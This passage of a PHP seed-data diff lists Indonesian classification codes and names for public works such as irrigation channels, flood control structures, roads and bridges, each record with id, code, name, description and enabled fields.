[ + 'id' => 1460, + 'kode' => '612.33', + 'nama' => 'Pintu Air Pembuangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1461, + 'kode' => '612.34', + 'nama' => 'Gorong-Gorong Pembuangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1462, + 'kode' => '612.35', + 'nama' => 'Syphon Pembuangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1463, + 'kode' => '612.4', + 'nama' => 'Bangunan Lainnya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1464, + 'kode' => '612.41', + 'nama' => 'Bangunan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1465, + 'kode' => '612.411', + 'nama' => 'Bangunan Pengukur Air', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1466, + 'kode' => '612.412', + 'nama' => 'Bangunan Pengukur Curah Hujan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1467, + 'kode' => '612.413', + 'nama' => 'Bangunan Gudang Stasiun Pompa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1468, + 'kode' => '612.414', + 'nama' => 'Bangunan Listrik Stasiun Pompa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1469, + 'kode' => '612.42', + 'nama' => 'Rumah Petugas Aksploitasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1470, + 'kode' => '613', + 'nama' => 'Pasang Surut', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1471, + 'kode' => '613.1', + 'nama' => 'Bangunan Pembawa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1472, + 'kode' => '613.11', + 'nama' => 'Saluran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1473, + 'kode' => '613.111', + 'nama' => 'Saluran Pembawa Induk', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1474, + 'kode' => '613.112', + 'nama' => 'Saluran Pembawa Sekunder', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1475, + 'kode' => '613.113', + 'nama' => 'Saluran Pembawa Tersier', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1476, + 'kode' => '613.114', + 'nama' => 'Saluran penyimpanan air', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1477, + 'kode' => '613.12', + 'nama' => 'Bangunan Pintu Pemasukan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1478, + 'kode' => '613.2', + 'nama' => 'Bangunan Pembuang', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1479, + 'kode' => '613.21', + 'nama' => 'Saluran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1480, + 'kode' => '613.211', + 'nama' => 'Saluran Pembuang Induk', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1481, + 'kode' => '613.212', + 'nama' => 'Saluran Pembuang Sekunder', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1482, + 'kode' => '613.213', + 'nama' => 'Saluran Pembuang Tersier', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1483, + 'kode' => '613.214', + 'nama' => 'Saluran Pengumpul Air', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1484, + 'kode' => '613.22', + 'nama' => 'Bangunan Pintu Pembuang', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1485, + 'kode' => '613.3', + 'nama' => 'Bangunan Lainnya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1486, + 'kode' => '613.31', + 'nama' => 'Kolam Pasang', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1487, + 'kode' => '613.32', + 'nama' => 'Saluran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1488, + 'kode' => '613.321', + 'nama' => 'Saluran Lalu Lintas', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1489, + 'kode' => '613.322', + 'nama' => 'Saluran Muka', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1490, + 'kode' => '613.33', + 'nama' => 'Bangunan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1491, + 'kode' => '613.331', + 'nama' => 'Bangunan Penangkis Kotoran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1492, + 'kode' => '613.332', + 'nama' => 'Bangunan Pengukur Muka Air', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1493, + 'kode' => '613.333', + 'nama' => 'Bangunan Pengukur Curah Hujan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1494, + 'kode' => '613.34', + 'nama' => 'Jalan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1495, + 'kode' => '613.35', + 'nama' => 'Jembatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1496, + 'kode' => '614', + 'nama' => 'Pengendalian Sungai', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1497, + 'kode' => '614.1', + 'nama' => 'Bangunan Pengaman', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1498, + 'kode' => '614.11', + 'nama' => 'Tanggul Banjir', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1499, + 'kode' => '614.12', + 'nama' => 'Pintu Pengatur Banjir', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1500, + 'kode' => '614.13', + 'nama' => 'Klep Pengatur Banjir', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1501, + 'kode' => '614.14', + 'nama' => 'Tembok Pengaman Talud', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1502, + 'kode' => '614.15', + 'nama' => 'Krib', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1503, + 'kode' => '614.16', + 'nama' => 'Kantung Lumpur', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1504, + 'kode' => '614.17', + 'nama' => 'Check-Dam', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1505, + 'kode' => '614.18', + 'nama' => 'Syphon', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1506, + 'kode' => '614.2', + 'nama' => 'Saluran Pengaman', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1507, + 'kode' => '614.21', + 'nama' => 'Saluran Banjir', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1508, + 'kode' => '614.22', + 'nama' => 'Saluran Drainage', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1509, + 'kode' => '614.23', + 'nama' => 'Corepure', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1510, + 'kode' => '614.3', + 'nama' => 'Bangunan Lainnya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1511, + 'kode' => '614.31', + 'nama' => 'Warning System', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1512, + 'kode' => '614.32', + 'nama' => 'Stasiun', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1513, + 'kode' => '614.321', + 'nama' => 'Stasiun Pengukur Curah Hujan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1514, + 'kode' => '614.322', + 'nama' => 'Stasiun Pengukur Air', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1515, + 'kode' => '614.323', + 'nama' => 'Stasiun Pengukur Cuaca', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1516, + 'kode' => '614.324', + 'nama' => 'Stasiun Pos Penjagaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1517, + 'kode' => '615', + 'nama' => 'Pengamanan Pantai', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1518, + 'kode' => '615.1', + 'nama' => 'Tanggul', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1519, + 'kode' => '615.2', + 'nama' => 'Krib', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1520, + 'kode' => '615.3', + 'nama' => 'Bangunan Lainnya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1521, + 'kode' => '616', + 'nama' => 'Air Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1522, + 'kode' => '616.1', + 'nama' => 'Stasiun Pompa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1523, + 'kode' => '616.2', + 'nama' => 'Bangunan Pembawa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1524, + 'kode' => '616.3', + 'nama' => 'Bangunan Pembuang', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1525, + 'kode' => '616.4', + 'nama' => 'Bangunan Lainnya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1526, + 'kode' => '617', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1527, + 'kode' => '618', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1528, + 'kode' => '619', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1529, + 'kode' => '620', + 'nama' => 'JALAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1530, + 'kode' => '621', + 'nama' => 'Jalan Kota', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1531, + 'kode' => '621.1', + 'nama' => 'Daerah Penguasaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1532, + 'kode' => '621.11', + 'nama' => 'Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1533, + 'kode' => '621.12', + 'nama' => 'Tanaman', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1534, + 'kode' => '621.13', + 'nama' => 'Bangunan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1535, + 'kode' => '621.2', + 'nama' => 'Bangunan Sementara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1536, + 'kode' => '621.21', + 'nama' => 'Jalan Sementara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1537, + 'kode' => '621.22', + 'nama' => 'Jembatan Sementara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1538, + 'kode' => '621.23', + 'nama' => 'Kantor Proyek', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1539, + 'kode' => '621.24', + 'nama' => 'Gedung Proyek', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1540, + 'kode' => '621.25', + 'nama' => 'Barak Kerja', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1541, + 'kode' => '621.26', + 'nama' => 'Laboratorium Lapangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1542, + 'kode' => '621.27', + 'nama' => 'Rumah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1543, + 'kode' => '621.3', + 'nama' => 'Badan Jalan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1544, + 'kode' => '621.31', + 'nama' => 'Pekerjaan Tanah (Earth Work)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1545, + 'kode' => '621.32', + 'nama' => 'Stabilisasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1546, + 'kode' => '621.4', + 'nama' => 'Perkerasan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1547, + 'kode' => '621.41', + 'nama' => 'Lapis Pondasi Bawah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1548, + 'kode' => '621.42', + 'nama' => 'Lapis Pondasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1549, + 'kode' => '621.43', + 'nama' => 'Lapis Permukaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1550, + 'kode' => '621.5', + 'nama' => 'Drainage', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1551, + 'kode' => '621.51', + 'nama' => 'Parit Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1552, + 'kode' => '621.52', + 'nama' => 'Gorong-Gorong (Culvert)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1553, + 'kode' => '621.6', + 'nama' => 'Buku Trotuir', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1554, + 'kode' => '621.61', + 'nama' => 'Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1555, + 'kode' => '621.62', + 'nama' => 'Perkerasan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1556, + 'kode' => '621.63', + 'nama' => 'Pasangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1557, + 'kode' => '621.7', + 'nama' => 'Median', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1558, + 'kode' => '621.71', + 'nama' => 'Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1559, + 'kode' => '621.72', + 'nama' => 'Tanaman', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1560, + 'kode' => '621.73', + 'nama' => 'Perkerasan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1561, + 'kode' => '621.74', + 'nama' => 'Pasangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1562, + 'kode' => '621.8', + 'nama' => 'Daerah Samping', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1563, + 'kode' => '621.81', + 'nama' => 'Tanaman', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1564, + 'kode' => '621.82', + 'nama' => 'Pagar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1565, + 'kode' => '621.9', + 'nama' => 'Bangunan Pelengkap Dan Pengamanan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1566, + 'kode' => '621.91', + 'nama' => 'Rambu-Rambu/Tanda-Tanda Lalu Lintas', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1567, + 'kode' => '621.92', + 'nama' => 'Lampu Penerangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1568, + 'kode' => '621.93', + 'nama' => 'Lampu Pengatur Lalu Lintas', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1569, + 'kode' => '621.94', + 'nama' => 'Patok-Patok KM', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1570, + 'kode' => '621.95', + 'nama' => 'Patok-Patok ROW (Sempadan)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1571, + 'kode' => '621.96', + 'nama' => 'Rel Pengamanan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1572, + 'kode' => '621.97', + 'nama' => 'Pagar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1573, + 'kode' => '621.98', + 'nama' => 'Turap Penahan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1574, + 'kode' => '621.99', + 'nama' => 'Bronjong', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1575, + 'kode' => '622', + 'nama' => 'Jalan Luar Kota', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1576, + 'kode' => '622.1', + 'nama' => 'Daerah Penguasaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1577, + 'kode' => '622.11', + 'nama' => 'Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1578, + 'kode' => '622.12', + 'nama' => 'Tanaman', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1579, + 'kode' => '622.13', + 'nama' => 'Bangunan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1580, + 'kode' => '622.2', + 'nama' => 'Bangunan Sementara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1581, + 'kode' => '622.21', + 'nama' => 'Jalan Sementara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1582, + 'kode' => '622.22', + 'nama' => 'Jembatan Sementara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1583, + 'kode' => '622.23', + 'nama' => 'Kantor Proyek', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1584, + 'kode' => '622.24', + 'nama' => 'Gudang Proyek', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1585, + 'kode' => '622.25', + 'nama' => 'Barak Kerja', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1586, + 'kode' => '622.26', + 'nama' => 'Laboratorium Lapangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1587, + 'kode' => '622.27', + 'nama' => 'Rumah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1588, + 'kode' => '622.3', + 'nama' => 'Badan Jalan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1589, + 'kode' => '622.31', + 'nama' => 'Pekerjaan Tanah (Earth Work)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1590, + 'kode' => '622.32', + 'nama' => 'Stabilisasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1591, + 'kode' => '622.4', + 'nama' => 'Perkerasan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1592, + 'kode' => '622.41', + 'nama' => 'Lapis Pondasi Bawah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1593, + 'kode' => '622.42', + 'nama' => 'Lapis Pondasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1594, + 'kode' => '622.43', + 'nama' => 'Lapis Permukaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1595, + 'kode' => '622.5', + 'nama' => 'Drainage', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1596, + 'kode' => '622.51', + 'nama' => 'Parit', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1597, + 'kode' => '622.52', + 'nama' => 'Gorong-Gorong (Culvert)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1598, + 'kode' => '622.53', + 'nama' => 'Sub Drainage', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1599, + 'kode' => '622.6', + 'nama' => 'Trotoar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1600, + 'kode' => '622.61', + 'nama' => 'Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1601, + 'kode' => '622.62', + 'nama' => 'Perkerasan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1602, + 'kode' => '622.7', + 'nama' => 'Median', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1603, + 'kode' => '622.71', + 'nama' => 'Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1604, + 'kode' => '622.72', + 'nama' => 'Tanaman', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1605, + 'kode' => '622.73', + 'nama' => 'Perkerasan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1606, + 'kode' => '622.74', + 'nama' => 'Pasangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1607, + 'kode' => '622.8', + 'nama' => 'Daerah Samping', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1608, + 'kode' => '622.81', + 'nama' => 'Tanaman', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1609, + 'kode' => '622.82', + 'nama' => 'Pagar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1610, + 'kode' => '622.9', + 'nama' => 'Bangunan Pelengkap Dan Pengamanan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1611, + 'kode' => '622.91', + 'nama' => 'Rambu-Rambu/Tanda-Tanda Lalu Lintas', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1612, + 'kode' => '622.92', + 'nama' => 'Lampu Penerangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1613, + 'kode' => '622.93', + 'nama' => 'Lampu Pengatur Lalu Lintas', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1614, + 'kode' => '622.94', + 'nama' => 'Patok-Patok KM', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1615, + 'kode' => '622.95', + 'nama' => 'Patok-Patok ROW (Sempadan)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1616, + 'kode' => '622.96', + 'nama' => 'Rel Pengamanan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1617, + 'kode' => '622.97', + 'nama' => 'Pagar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1618, + 'kode' => '622.98', + 'nama' => 'Turap Penahan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1619, + 'kode' => '622.99', + 'nama' => 'Bronjong', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1620, + 'kode' => '623', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1621, + 'kode' => '623', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1622, + 'kode' => '623', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1623, + 'kode' => '630', + 'nama' => 'JEMBATAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1624, + 'kode' => '631', + 'nama' => 'Jembatan Pada Jalan Kota', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1625, + 'kode' => '631.1', + 'nama' => 'Daerah Penguasaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1626, + 'kode' => '631.11', + 'nama' => 'Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1627, + 'kode' => '631.12', + 'nama' => 'Tanaman', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1628, + 'kode' => '631.13', + 'nama' => 'Bangunan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1629, + 'kode' => '631.2', + 'nama' => 'Bangunan Sementara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1630, + 'kode' => '631.21', + 'nama' => 'Jalan Sementara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1631, + 'kode' => '631.22', + 'nama' => 'Jembatan Sementara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1632, + 'kode' => '631.23', + 'nama' => 'Kantor Proyek', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1633, + 'kode' => '631.24', + 'nama' => 'Gudang Proyek', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1634, + 'kode' => '631.25', + 'nama' => 'Barak Kerja', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1635, + 'kode' => '631.26', + 'nama' => 'Laboratorium Lapangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1636, + 'kode' => '631.27', + 'nama' => 'Rumah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1637, + 'kode' => '631.3', + 'nama' => 'Pekerjaan Tanah (Earth Work)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1638, + 'kode' => '631.31', + 'nama' => 'Galian Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1639, + 'kode' => '631.32', + 'nama' => 'Timbunan Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1640, + 'kode' => '631.4', + 'nama' => 'Pondasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1641, + 'kode' => '631.41', + 'nama' => 'Pondasi Kepala Jalan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1642, + 'kode' => '631.42', + 'nama' => 'Pondasi Pilar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1643, + 'kode' => '631.43', + 'nama' => 'Angker', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1644, + 'kode' => '631.5', + 'nama' => 'Bangunan Bawah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1645, + 'kode' => '631.51', + 'nama' => 'Kepala Jembatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1646, + 'kode' => '631.52', + 'nama' => 'Pilar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1647, + 'kode' => '631.53', + 'nama' => 'Piloon', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1648, + 'kode' => '631.54', + 'nama' => 'Landasan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1649, + 'kode' => '631.6', + 'nama' => 'Bangunan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1650, + 'kode' => '631.61', + 'nama' => 'Gelagar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1651, + 'kode' => '631.62', + 'nama' => 'Lantai', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1652, + 'kode' => '631.63', + 'nama' => 'Perkerasan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1653, + 'kode' => '631.64', + 'nama' => 'Jalan Orang / Trotoar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1654, + 'kode' => '631.65', + 'nama' => 'Sandaran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1655, + 'kode' => '631.66', + 'nama' => 'Talang air', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1656, + 'kode' => '631.7', + 'nama' => 'Bangunan / Pengaman', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1657, + 'kode' => '631.71', + 'nama' => 'Turap Penahan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1658, + 'kode' => '631.72', + 'nama' => 'Bronjong', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1659, + 'kode' => '631.73', + 'nama' => '', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1660, + 'kode' => '631.74', + 'nama' => 'Kist Dam', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1661, + 'kode' => '631.75', + 'nama' => 'Corepure', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1662, + 'kode' => '631.76', + 'nama' => 'Krib', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1663, + 'kode' => '631.8', + 'nama' => 'Bangunan Pelengkap', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1664, + 'kode' => '631.81', + 'nama' => 'Rambu-Rambu/Tanda-Tanda Lalu Lintas', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1665, + 'kode' => '631.82', + 'nama' => 'Lampu Penerangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1666, + 'kode' => '631.83', + 'nama' => 'Lampu Pengatur Lalu Lintas', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1667, + 'kode' => '631.84', + 'nama' => 'Patok Pengaman', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1668, + 'kode' => '631.85', + 'nama' => 'Patok ROW (Sempadan)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1669, + 'kode' => '631.86', + 'nama' => 'Pagar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1670, + 'kode' => '631.9', + 'nama' => 'Oprit', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1671, + 'kode' => '631.91', + 'nama' => 'Badan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1672, + 'kode' => '631.92', + 'nama' => 'Perkerasan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1673, + 'kode' => '631.93', + 'nama' => 'Drainage', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1674, + 'kode' => '631.94', + 'nama' => 'Baku', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1675, + 'kode' => '631.95', + 'nama' => 'Median', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1676, + 'kode' => '632', + 'nama' => 'Jembatan Pada Jalan Luar Kota', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1677, + 'kode' => '632.1', + 'nama' => 'Daerah Penguasaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1678, + 'kode' => '632.11', + 'nama' => 'Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1679, + 'kode' => '632.12', + 'nama' => 'Tanaman', + 'uraian' => 